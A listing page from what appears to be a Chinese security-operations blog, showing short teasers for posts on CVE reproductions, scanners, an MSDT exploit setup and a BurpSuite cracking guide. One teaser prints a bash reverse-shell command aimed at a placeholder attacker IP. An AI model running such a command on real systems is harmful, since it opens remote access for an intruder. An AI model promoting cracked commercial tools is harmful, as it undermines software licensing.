Ubuntu系统安装22.4-Happy峰安全运营

Ubuntu系统安装22.4

超融合创建虚拟机配置步骤开机加载系统选择第一个回车进行安装选择English选择最小化安装设置IP地址设置代理以下默认就行,也可改为阿里云的:https://mirrors.aliyun.com/ubuntu使用默认分区设...
8个月前
05915
Xray扫描器-Happy峰安全运营

Xray扫描器

Xray 是一款功能强大的安全评估工具,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。代码质量高。编...
8个月前
0598
JumpServer未授权访问漏洞 (CVE-2023-42442)-Happy峰安全运营

JumpServer未授权访问漏洞 (CVE-2023-42442)

一、漏洞信息JumpServer是一款符合4A规范的开源堡垒机,帮助企业以更安全的方式管控和登录各种类型的资产,实现事前授权、事中监察、事后审计,满足等保合规要求。JumpServer 在 3.0.0-3.6.3 版...
8个月前
05912
微软MSDT远程代码执行漏洞-Happy峰安全运营

微软MSDT远程代码执行漏洞

一、环境介绍小李打开了一个xxx.docx 文件后电脑就中招了,应该怎么解决?office2021都有安全问题,你的office还安全吗?1、微软MSDT远程代码执行漏洞2、安装CS软件3、使用python开一个远程监听...
8个月前
0589
【漏洞通告】Magento Open Source文件上传远程代码执行漏洞(CVE-2024-39397)-Happy峰安全运营

【漏洞通告】Magento Open Source文件上传远程代码执行漏洞(CVE-2024-39397)

一、漏洞概述Adobe Commerce 是Adobe公司推出的企业级电子商务平台,它为企业提供了一个完整的电子商务解决方案,用于构建、管理和优化线上商店及数字商业渠道。Magento Open Source是一款由Ado...
8个月前
0586
Bash反弹shell-Happy峰安全运营

Bash反弹shell

一、Bash介绍     Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的ShellBash 反弹Shell的命令如下:bash -i >&/dev/tcp/攻击机_IP/攻击机端...
8个月前
0578
BurpSuite全平台破解通用-Happy峰安全运营

BurpSuite全平台破解通用

介绍本文为BurpSuite破解全平台通用,并且至今通用,配置简单,笔者通过阅读其他作者教程浓缩为本篇教程下载首先前往官网下载,笔者为Mac系统,操作逻辑为Mac平台,Windows、Linux平台通用,下...
8个月前
05710
Jenkins 任意文件读取漏洞复现CVE-2024-23897-Happy峰安全运营

Jenkins 任意文件读取漏洞复现CVE-2024-23897

一、漏洞概况Jenkins是什么?Jenkins是一个基于Java开发的、可扩展的持续集成引擎用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务https://www.jenkins.io/zh/Jenkins使用情况fo...
8个月前
05614
appScan介绍-Happy峰安全运营

appScan介绍

1、AppScan是什么?AppScan是IBM的一款web安全扫描工具,可以利用爬虫技术进行网站安全渗透测试,根据网站入口自动对网页链接进行安全扫描,扫描之后会提供扫描报告和修复建议等。AppScan有自己...
8个月前
0546
Apache CloudStack 域管理员权限提升风险-Happy峰安全运营

Apache CloudStack 域管理员权限提升风险

Apache CloudStack 域管理员权限提升风险基本介绍- CVE编号: CVE-2024-42062- 危害定级: 高危- 漏洞标签: 发布预警 公开漏洞- 披露日期: 2024-08-07- 推送原因: 漏洞创建- 信息来源: https://ww...
8个月前
0547